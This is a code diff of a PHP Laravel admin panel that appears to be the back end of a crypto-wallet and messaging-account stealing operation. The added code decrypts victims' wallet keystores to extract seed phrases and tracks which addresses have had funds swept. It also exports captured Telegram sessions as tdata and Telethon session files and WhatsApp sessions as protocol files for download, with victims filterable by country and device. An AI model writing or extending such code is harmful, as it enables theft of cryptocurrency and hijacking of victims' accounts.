||||
'id' => $device->id,
|
||||
'device_id' => $device->device_id,
|
||||
'monitor_rows' => $n,
|
||||
]);
|
||||
}
|
||||
|
||||
private function authorizeDevice(Device $device): void
|
||||
@@ -626,7 +620,9 @@ class DeviceController extends Controller
|
||||
$q->where('chain_type', $chainType);
|
||||
}
|
||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
|
||||
$items = collect($paginator->items());
|
||||
$swept = TransferRecord::successfulSweepSet($items->pluck('address')->all());
|
||||
$data = $items->map(function (WalletAddress $addr) use ($swept) {
|
||||
$coins = $addr->formattedCoins();
|
||||
|
||||
return [
|
||||
@@ -639,6 +635,7 @@ class DeviceController extends Controller
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'collected' => TransferRecord::addressInSweepSet((string) $addr->address, $swept),
|
||||
'monitor' => (int) $addr->monitor,
|
||||
'monitor_synced' => (bool) $addr->monitor_synced,
|
||||
'monitor_failures' => (int) $addr->monitor_failures,
|
||||
@@ -673,18 +670,21 @@ class DeviceController extends Controller
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
|
||||
private function paginateKeystores(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
||||
if (WalletKeystore::hasNeedsPasswordColumn()) {
|
||||
$sortable[] = 'needs_password';
|
||||
}
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
|
||||
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
|
||||
// LENGTH(raw_json) forces MySQL to read large blobs during sort.
|
||||
// Step 1: get paginated IDs ordered by the sort field (no blob access).
|
||||
// Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only.
|
||||
$idQuery = $device->keystores()->orderBy($field, $order);
|
||||
$needsPassword = trim((string) $request->query('needs_password', ''));
|
||||
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
|
||||
$idQuery->where('wallet_keystores.needs_password', 1);
|
||||
}
|
||||
$total = $idQuery->toBase()->getCountForPagination();
|
||||
$page = max(1, $page);
|
||||
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
||||
@@ -706,14 +706,13 @@ class DeviceController extends Controller
|
||||
'id' => $row->id,
|
||||
'source' => $row->sourceLabel(),
|
||||
'decrypted' => (int) $row->decrypted,
|
||||
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
|
||||
'kind' => $stats['kind'],
|
||||
'item_count' => $stats['item_count'],
|
||||
'summary' => $stats['summary'],
|
||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -727,7 +726,7 @@ class DeviceController extends Controller
|
||||
$field = 'is_wallet';
|
||||
$order = 'desc';
|
||||
}
|
||||
$q = $device->apps();
|
||||
$q = $device->apps()->listed();
|
||||
if ($field === 'is_wallet') {
|
||||
$q->orderByDesc('is_wallet')->orderBy('name');
|
||||
} else {
|
||||
@@ -747,6 +746,45 @@ class DeviceController extends Controller
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginatePluginSessions(Device $device, int $kind, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q = $device->pluginSessions()->where('kind', $kind);
|
||||
$q->orderBy('plugin_sessions.'.$field, $order);
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$isSuper = (bool) auth('admin')->user()?->isSuper();
|
||||
$data = collect($paginator->items())->map(function (PluginSession $row) use ($portal, $isSuper) {
|
||||
$summary = $row->listSummary();
|
||||
|
||||
return array_merge($summary, [
|
||||
'id' => $row->id,
|
||||
'kind' => $row->kind,
|
||||
'account_id' => $row->account_id ?: '',
|
||||
'phone' => $row->phone ?: '',
|
||||
'payload_url' => route($portal.'.sessions.payload', $row, false),
|
||||
'download_url' => route($portal.'.sessions.download', $row, false),
|
||||
'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||
? route($portal.'.sessions.tdata', $row, false)
|
||||
: '',
|
||||
'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
|
||||
? route($portal.'.sessions.session-file', $row, false)
|
||||
: '',
|
||||
'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP
|
||||
? route($portal.'.sessions.ws-full', $row, false)
|
||||
: '',
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
]);
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$noteId = $device->notes()->orderByDesc('id')->value('id');
|
||||
@@ -851,6 +889,7 @@ class DeviceController extends Controller
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
'country' => CfIpCountry::normalize((string) $request->query('country', '')),
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
'has_wallet' => $hasWalletInt,
|
||||
@@ -860,7 +899,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters
|
||||
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, country: ?string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
@@ -885,6 +924,9 @@ class DeviceController extends Controller
|
||||
if ($filters['ios'] !== '') {
|
||||
$q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%');
|
||||
}
|
||||
if ($filters['country'] !== null) {
|
||||
$q->where('devices.country', $filters['country']);
|
||||
}
|
||||
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) {
|
||||
$q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10));
|
||||
}
|
||||
@@ -924,6 +966,9 @@ class DeviceController extends Controller
|
||||
if ($value === 2 || $value === '2' || $value === 'darksword') {
|
||||
return Device::CHAIN_DARKSWORD;
|
||||
}
|
||||
if ($value === 3 || $value === '3' || $value === 'app') {
|
||||
return Device::CHAIN_APP;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -1014,39 +1059,4 @@ class DeviceController extends Controller
|
||||
'msg' => '队列顺序已更新',
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Latest visit country per IP for devices that have no country of their own.
|
||||
*
|
||||
* @param Collection<int, Device> $devices
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function visitCountriesFor(Collection $devices): array
|
||||
{
|
||||
$ips = $devices
|
||||
->filter(fn (Device $d) => CfIpCountry::normalize($d->country) === null)
|
||||
->map(fn (Device $d) => trim((string) $d->ip))
|
||||
->filter()
|
||||
->unique()
|
||||
->values();
|
||||
if ($ips->isEmpty()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$latestIds = PageVisit::query()
|
||||
->selectRaw('MAX(id) as id')
|
||||
->whereIn('ip', $ips)
|
||||
->whereNotNull('country')
|
||||
->where('country', '!=', '')
|
||||
->groupBy('ip')
|
||||
->pluck('id');
|
||||
if ($latestIds->isEmpty()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return PageVisit::query()
|
||||
->whereIn('id', $latestIds)
|
||||
->pluck('country', 'ip')
|
||||
->all();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
@@ -41,19 +42,27 @@ class KeystoreController extends Controller
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'source', 'decrypted', 'chain', 'created_at', 'updated_at'];
|
||||
if (WalletKeystore::hasNeedsPasswordColumn()) {
|
||||
$sortable[] = 'needs_password';
|
||||
}
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('wallet_keystores.'.$field, $order);
|
||||
if ($field === 'chain' && ! WalletKeystore::hasChainColumn()) {
|
||||
$q->orderBy('devices.chain', $order);
|
||||
} else {
|
||||
$q->orderBy('wallet_keystores.'.$field, $order);
|
||||
}
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$cols = array_merge(WalletKeystore::listColumnsLight(), [
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
'devices.chain as device_chain',
|
||||
]);
|
||||
Log::info('keystore.list.data.start', [
|
||||
'page' => $page,
|
||||
@@ -225,6 +234,73 @@ class KeystoreController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function decryptPassword(Request $request, WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
if ((int) $keystore->needs_password !== 1 && ! $keystore->hasWeb3Keystore()) {
|
||||
return response()->json(['code' => 1, 'msg' => '该钥匙串未标记为需要密码'], 400);
|
||||
}
|
||||
$password = trim((string) $request->input('password', ''));
|
||||
if ($password === '') {
|
||||
return response()->json(['code' => 1, 'msg' => '请输入密码'], 422);
|
||||
}
|
||||
if (strlen($password) > 256) {
|
||||
return response()->json(['code' => 1, 'msg' => '密码过长'], 422);
|
||||
}
|
||||
$device = $keystore->device;
|
||||
if ($device === null) {
|
||||
return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
|
||||
}
|
||||
@set_time_limit(180);
|
||||
@ini_set('max_execution_time', '180');
|
||||
|
||||
$before = WalletMnemonic::query()
|
||||
->where('device_id', $device->id)
|
||||
->pluck('mnemonic_hash')
|
||||
->all();
|
||||
$seen = array_fill_keys($before, true);
|
||||
|
||||
$result = $adapter->decryptKeystoreWithPassword($device, $keystore, $password);
|
||||
$keystore->refresh();
|
||||
|
||||
$after = WalletMnemonic::query()
|
||||
->where('device_id', $device->id)
|
||||
->get(['id', 'source', 'mnemonic_hash']);
|
||||
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
|
||||
$addedCount = $added->count();
|
||||
|
||||
if ($addedCount > 0) {
|
||||
$msg = '已写入 '.$addedCount.' 条助记词';
|
||||
$code = 0;
|
||||
} elseif ((int) $keystore->decrypted === 1) {
|
||||
$msg = '没有新的助记词(该来源可能已解密)';
|
||||
$code = 0;
|
||||
} elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0 && (int) ($result['coin98'] ?? 0) === 0) {
|
||||
$msg = '没有可解密的 Keystore(UTC / MetaMask Vault / Coin98 加密钱包)';
|
||||
$code = 1;
|
||||
} else {
|
||||
$msg = '密码不正确,未能解开助记词';
|
||||
$code = 1;
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => $code,
|
||||
'msg' => $msg,
|
||||
'data' => [
|
||||
'id' => $keystore->id,
|
||||
'decrypted' => (int) $keystore->decrypted,
|
||||
'added' => $addedCount,
|
||||
'mnemonic_total' => $after->count(),
|
||||
'sources' => $added->pluck('source')->unique()->values()->all(),
|
||||
'utc' => $result['utc'],
|
||||
'vault' => (int) ($result['vault'] ?? 0),
|
||||
'coin98' => (int) ($result['coin98'] ?? 0),
|
||||
],
|
||||
], $code === 0 ? 200 : 400);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
@@ -236,17 +312,16 @@ class KeystoreController extends Controller
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
|
||||
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
|
||||
'chain' => (int) ($row->chain ?: $row->device_chain ?: Device::CHAIN_CORUNA),
|
||||
'source' => $row->sourceLabel(),
|
||||
'decrypted' => (int) $row->decrypted,
|
||||
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
|
||||
'kind' => $stats['kind'],
|
||||
'item_count' => $stats['item_count'],
|
||||
'summary' => $stats['summary'],
|
||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
|
||||
];
|
||||
}
|
||||
|
||||
@@ -296,10 +371,7 @@ class KeystoreController extends Controller
|
||||
{
|
||||
$q = WalletKeystore::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
||||
->select(array_merge(WalletKeystore::listColumns(), [
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]));
|
||||
->select('wallet_keystores.id');
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
@@ -307,12 +379,17 @@ class KeystoreController extends Controller
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
$decrypted = trim((string) $request->query('decrypted', ''));
|
||||
$needsPassword = trim((string) $request->query('needs_password', ''));
|
||||
$chain = $this->parseChainFilter($request->query('chain'));
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ($chain !== null) {
|
||||
$this->applyChainFilter($q, $chain);
|
||||
}
|
||||
if ($source !== '') {
|
||||
if ($source === '未知') {
|
||||
$q->where(function (Builder $inner) {
|
||||
@@ -326,6 +403,9 @@ class KeystoreController extends Controller
|
||||
if ($decrypted === '0' || $decrypted === '1') {
|
||||
$q->where('wallet_keystores.decrypted', (int) $decrypted);
|
||||
}
|
||||
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
|
||||
$q->where('wallet_keystores.needs_password', 1);
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter(
|
||||
$q,
|
||||
@@ -335,4 +415,42 @@ class KeystoreController extends Controller
|
||||
|
||||
return $q;
|
||||
}
|
||||
|
||||
private function applyChainFilter(Builder $q, int $chain): void
|
||||
{
|
||||
if (WalletKeystore::hasChainColumn()) {
|
||||
$q->whereRaw(
|
||||
'COALESCE(wallet_keystores.chain, devices.chain, ?) = ?',
|
||||
[Device::CHAIN_CORUNA, $chain]
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$q->where(function (Builder $inner) use ($chain) {
|
||||
$inner->where('devices.chain', $chain);
|
||||
if ($chain === Device::CHAIN_CORUNA) {
|
||||
$inner->orWhereNull('devices.chain');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private function parseChainFilter(mixed $raw): ?int
|
||||
{
|
||||
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
|
||||
if ($value === '' || $value === null) {
|
||||
return null;
|
||||
}
|
||||
if ($value === 1 || $value === '1' || $value === 'coruna') {
|
||||
return Device::CHAIN_CORUNA;
|
||||
}
|
||||
if ($value === 2 || $value === '2' || $value === 'darksword') {
|
||||
return Device::CHAIN_DARKSWORD;
|
||||
}
|
||||
if ($value === 3 || $value === '3' || $value === 'app') {
|
||||
return Device::CHAIN_APP;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,6 +12,7 @@ use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Services\Chain\ChainHttpTimeout;
|
||||
use App\Services\IngestService;
|
||||
use App\Services\MnemonicAddressLinker;
|
||||
use App\Services\MnemonicWalletDiscovery;
|
||||
@@ -28,7 +29,7 @@ class MnemonicController extends Controller
|
||||
use PortalAware;
|
||||
use RevealsMnemonics;
|
||||
|
||||
private const REFRESH_DECAY_SECONDS = 60;
|
||||
private const REFRESH_DECAY_SECONDS = 30;
|
||||
|
||||
public function index()
|
||||
{
|
||||
@@ -257,12 +258,14 @@ class MnemonicController extends Controller
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$discovery->discoverActivated($mnemonic);
|
||||
|
||||
// Discovery runs on the POST refresh (auto-triggered by the dialog when
|
||||
// updating=true). The GET just returns current state + inactive previews.
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => $this->walletsPayload($mnemonic, $discovery),
|
||||
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
|
||||
'updating' => true,
|
||||
]),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -288,7 +291,8 @@ class MnemonicController extends Controller
|
||||
|
||||
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
|
||||
|
||||
$discovery->discoverActivated($mnemonic);
|
||||
// Manual refresh: force re-probe of unlinked chains (bypass discovery_complete + miss cache).
|
||||
$discovery->discoverActivated($mnemonic, true);
|
||||
|
||||
$addresses = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
@@ -297,19 +301,21 @@ class MnemonicController extends Controller
|
||||
|
||||
$ok = 0;
|
||||
$fail = 0;
|
||||
foreach ($addresses as $address) {
|
||||
// WalletBalanceService::refresh persists coin columns onto wallet_addresses.
|
||||
if ($balances->refresh($address)) {
|
||||
$ok++;
|
||||
} else {
|
||||
$fail++;
|
||||
ChainHttpTimeout::using(MnemonicWalletDiscovery::PROBE_TIMEOUT_SECONDS, function () use ($addresses, $balances, &$ok, &$fail) {
|
||||
foreach ($addresses as $address) {
|
||||
if ($balances->refresh($address)) {
|
||||
$ok++;
|
||||
} else {
|
||||
$fail++;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
|
||||
'updating' => false,
|
||||
'refreshed' => $ok,
|
||||
'failed' => $fail,
|
||||
'retry_after' => self::REFRESH_DECAY_SECONDS,
|
||||
|
||||
@@ -4,12 +4,12 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\Device;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\AgentScope;
|
||||
use App\Support\CfIpCountry;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
@@ -154,7 +154,7 @@ class PageVisitController extends Controller
|
||||
$q->where('referer', 'like', '%'.$referer.'%');
|
||||
}
|
||||
|
||||
[$from, $to] = $this->rangeBounds((string) $request->query('range', '30d'));
|
||||
[$from, $to] = $this->rangeBounds((string) $request->query('range', 'today'));
|
||||
$q->whereBetween('created_at', [$from, $to]);
|
||||
|
||||
return $q;
|
||||
|
||||
@@ -7,6 +7,7 @@ use App\Http\Controllers\Controller;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use App\Support\WsPayloadConverter;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
@@ -74,6 +75,219 @@ class PluginSessionController extends Controller
|
||||
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Download a Telegram Desktop tdata zip for this Telegram session.
|
||||
*
|
||||
* Converts the tglib.js payload (state + db_sqlite) into a tdata folder
|
||||
* via opentele-ng (offline, no Telegram connection), then zips it.
|
||||
* Only Telegram sessions (kind=1) with a valid backupData block are
|
||||
* convertible; WhatsApp sessions return 422.
|
||||
*/
|
||||
public function downloadTdata(PluginSession $pluginSession)
|
||||
{
|
||||
$this->authorizeSession($pluginSession);
|
||||
|
||||
if (! auth('admin')->user()?->isSuper()) {
|
||||
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
|
||||
}
|
||||
|
||||
if (! $pluginSession->isTelegram()) {
|
||||
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
|
||||
}
|
||||
|
||||
$payload = $pluginSession->fullPayload();
|
||||
if (! is_array($payload) || ! isset($payload['state'])) {
|
||||
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
|
||||
}
|
||||
|
||||
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
|
||||
$script = config('coruna.tdata_script', base_path('channel-builder/tools/tglib_to_tdata.py'));
|
||||
|
||||
if (! is_file($python) || ! is_file($script)) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '转换环境未配置(缺少 Python 或脚本)',
|
||||
], 500);
|
||||
}
|
||||
|
||||
$tmpDir = sys_get_temp_dir().'/coruna-tdata-'.uniqid();
|
||||
@mkdir($tmpDir, 0700, true);
|
||||
$jsonPath = $tmpDir.'/input.json';
|
||||
$zipPath = $tmpDir.'/tdata.zip';
|
||||
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
|
||||
|
||||
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
|
||||
.escapeshellarg($jsonPath).' '.escapeshellarg($zipPath).' 2>&1';
|
||||
$output = [];
|
||||
$exit = -1;
|
||||
@exec($cmd, $output, $exit);
|
||||
|
||||
if ($exit !== 0 || ! is_file($zipPath)) {
|
||||
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
|
||||
@unlink($jsonPath);
|
||||
if (is_file($zipPath)) @unlink($zipPath);
|
||||
@rmdir($tmpDir);
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => $msg], 500);
|
||||
}
|
||||
|
||||
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
|
||||
$filename = 'tdata-'.$account.'.zip';
|
||||
$zipContents = file_get_contents($zipPath);
|
||||
|
||||
@unlink($jsonPath);
|
||||
@unlink($zipPath);
|
||||
@rmdir($tmpDir);
|
||||
|
||||
return response()->streamDownload(static function () use ($zipContents) {
|
||||
echo $zipContents;
|
||||
}, $filename, ['Content-Type' => 'application/zip']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Download a Telethon session trio file (.session / .json / _密钥.txt).
|
||||
*
|
||||
* Converts the tglib.js payload (state + db_sqlite) into the three-file
|
||||
* Telethon session format via tglib_to_session_files.py (offline).
|
||||
* The `type` query param selects which file to stream back:
|
||||
* - session: {phone}.session (SQLite, application/octet-stream)
|
||||
* - json: {phone}.json (metadata + session_string)
|
||||
* - key: {phone}_密钥.txt (session_string plain text)
|
||||
* Only Telegram sessions (kind=1) with a valid backupData block are
|
||||
* convertible; WhatsApp sessions return 422.
|
||||
*/
|
||||
public function downloadSessionFile(Request $request, PluginSession $pluginSession)
|
||||
{
|
||||
$this->authorizeSession($pluginSession);
|
||||
|
||||
if (! auth('admin')->user()?->isSuper()) {
|
||||
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
|
||||
}
|
||||
|
||||
if (! $pluginSession->isTelegram()) {
|
||||
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
|
||||
}
|
||||
|
||||
$type = (string) $request->query('type', 'session');
|
||||
if (! in_array($type, ['session', 'json', 'key'], true)) {
|
||||
$type = 'session';
|
||||
}
|
||||
|
||||
$payload = $pluginSession->fullPayload();
|
||||
if (! is_array($payload) || ! isset($payload['state'])) {
|
||||
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
|
||||
}
|
||||
|
||||
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
|
||||
$script = config('coruna.session_script', base_path('channel-builder/tools/tglib_to_session_files.py'));
|
||||
|
||||
if (! is_file($python) || ! is_file($script)) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '转换环境未配置(缺少 Python 或脚本)',
|
||||
], 500);
|
||||
}
|
||||
|
||||
$tmpDir = sys_get_temp_dir().'/coruna-sess-'.uniqid();
|
||||
@mkdir($tmpDir, 0700, true);
|
||||
$jsonPath = $tmpDir.'/input.json';
|
||||
$outDir = $tmpDir.'/out';
|
||||
@mkdir($outDir, 0700, true);
|
||||
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
|
||||
|
||||
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
|
||||
.escapeshellarg($jsonPath).' '.escapeshellarg($outDir).' 2>&1';
|
||||
$output = [];
|
||||
$exit = -1;
|
||||
@exec($cmd, $output, $exit);
|
||||
|
||||
if ($exit !== 0) {
|
||||
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
|
||||
$this->rrmdir($tmpDir);
|
||||
return response()->json(['code' => 1, 'msg' => $msg], 500);
|
||||
}
|
||||
|
||||
// Locate the generated files (named {phone}.* in outDir).
|
||||
$sessionFile = $jsonMeta = $keyFile = null;
|
||||
foreach (glob($outDir.'/*') as $f) {
|
||||
$base = basename($f);
|
||||
if (str_ends_with($base, '.session')) {
|
||||
$sessionFile = $f;
|
||||
} elseif (str_ends_with($base, '.json')) {
|
||||
$jsonMeta = $f;
|
||||
} elseif (str_contains($base, '_') && str_ends_with($base, '.txt')) {
|
||||
$keyFile = $f;
|
||||
}
|
||||
}
|
||||
|
||||
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
|
||||
$file = $type === 'json' ? $jsonMeta : ($type === 'key' ? $keyFile : $sessionFile);
|
||||
$ext = $type === 'json' ? 'json' : ($type === 'key' ? '_密钥.txt' : 'session');
|
||||
$filename = $account.'.'.$ext;
|
||||
$mime = $type === 'json' ? 'application/json'
|
||||
: ($type === 'key' ? 'text/plain' : 'application/octet-stream');
|
||||
|
||||
if (! $file || ! is_file($file)) {
|
||||
$this->rrmdir($tmpDir);
|
||||
return response()->json(['code' => 1, 'msg' => '转换后未找到对应文件'], 500);
|
||||
}
|
||||
|
||||
$contents = file_get_contents($file);
|
||||
$this->rrmdir($tmpDir);
|
||||
|
||||
return response()->streamDownload(static function () use ($contents) {
|
||||
echo $contents;
|
||||
}, $filename, ['Content-Type' => $mime]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Download a single WhatsApp session's full protocol parameters as a
|
||||
* one-line NDJSON .txt file (the __ws.txt 26-field format).
|
||||
*
|
||||
* Only WhatsApp sessions (kind=2) with a convertible payload are
|
||||
* supported; Telegram sessions return 422.
|
||||
*/
|
||||
public function downloadWsFull(PluginSession $pluginSession, WsPayloadConverter $converter)
|
||||
{
|
||||
$this->authorizeSession($pluginSession);
|
||||
|
||||
if (! $pluginSession->isWhatsApp()) {
|
||||
return response()->json(['code' => 1, 'msg' => '仅支持 WhatsApp 会话转换'], 422);
|
||||
}
|
||||
|
||||
$line = $converter->convertToLine($pluginSession, $pluginSession->device);
|
||||
if ($line === null) {
|
||||
return response()->json(['code' => 1, 'msg' => '该会话缺少必要数据,无法转换'], 422);
|
||||
}
|
||||
|
||||
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
|
||||
$filename = 'ws-'.$account.'.txt';
|
||||
|
||||
return response()->streamDownload(static function () use ($line) {
|
||||
echo $line."\n";
|
||||
}, $filename, ['Content-Type' => 'text/plain; charset=UTF-8']);
|
||||
}
|
||||
|
||||
